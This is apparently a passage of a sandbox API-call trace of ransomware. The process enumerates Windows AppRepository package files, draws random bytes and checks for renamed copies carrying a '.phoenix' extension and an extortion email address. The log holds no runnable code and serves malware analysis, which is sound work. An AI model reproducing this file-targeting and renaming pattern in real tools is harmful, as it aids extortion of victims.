	[0262.059] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.aad.brokerplugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0262.060] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=16384) returned 1
	[0262.060] CloseHandle (hObject=0x2f0) returned 1
	[0262.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.aad.brokerplugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0262.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.aad.brokerplugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.060] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.aad.brokerplugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.061] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.061] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.aad.brokerplugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0262.061] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.061] CloseHandle (hObject=0x2f0) returned 1
	[0262.062] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.062] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.aad.brokerplugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0262.062] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2504) returned 1
	[0262.062] CloseHandle (hObject=0x2f0) returned 1
	[0262.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.aad.brokerplugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.aad.brokerplugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.063] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AAD.BrokerPlugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.aad.brokerplugin_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.063] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.063] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.accountscontrol_10.0.15063.447_neutral__cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0262.064] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=53248) returned 1
	[0262.064] CloseHandle (hObject=0x2f0) returned 1
	[0262.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.accountscontrol_10.0.15063.447_neutral__cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0262.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.accountscontrol_10.0.15063.447_neutral__cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.065] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.accountscontrol_10.0.15063.447_neutral__cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.065] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.065] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.accountscontrol_10.0.15063.447_neutral__cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0262.066] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.066] CloseHandle (hObject=0x2f0) returned 1
	[0262.066] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.066] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.accountscontrol_10.0.15063.447_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0262.066] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1748) returned 1
	[0262.067] CloseHandle (hObject=0x2f0) returned 1
	[0262.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.accountscontrol_10.0.15063.447_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.accountscontrol_10.0.15063.447_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.067] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.AccountsControl_10.0.15063.447_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.accountscontrol_10.0.15063.447_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.067] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.067] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0262.068] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=16384) returned 1
	[0262.069] CloseHandle (hObject=0x2f0) returned 1
	[0262.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.069] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.069] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.069] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0262.070] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.070] CloseHandle (hObject=0x2f0) returned 1
	[0262.070] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.070] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0262.186] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1112) returned 1
	[0262.186] CloseHandle (hObject=0x2e4) returned 1
	[0262.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.186] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.187] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.187] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0262.188] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=36864) returned 1
	[0262.188] CloseHandle (hObject=0x2e4) returned 1
	[0262.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.188] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.189] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.189] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0262.189] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.189] CloseHandle (hObject=0x2e4) returned 1
	[0262.190] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.190] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0262.191] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=3772) returned 1
	[0262.191] CloseHandle (hObject=0x2e4) returned 1
	[0262.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.191] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.192] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.192] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0262.194] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=12288) returned 1
	[0262.194] CloseHandle (hObject=0x2e4) returned 1
	[0262.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.197] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.197] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.197] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0262.197] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.197] CloseHandle (hObject=0x2e4) returned 1
	[0262.198] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.198] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0262.210] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=5576) returned 1
	[0262.210] CloseHandle (hObject=0x2e4) returned 1
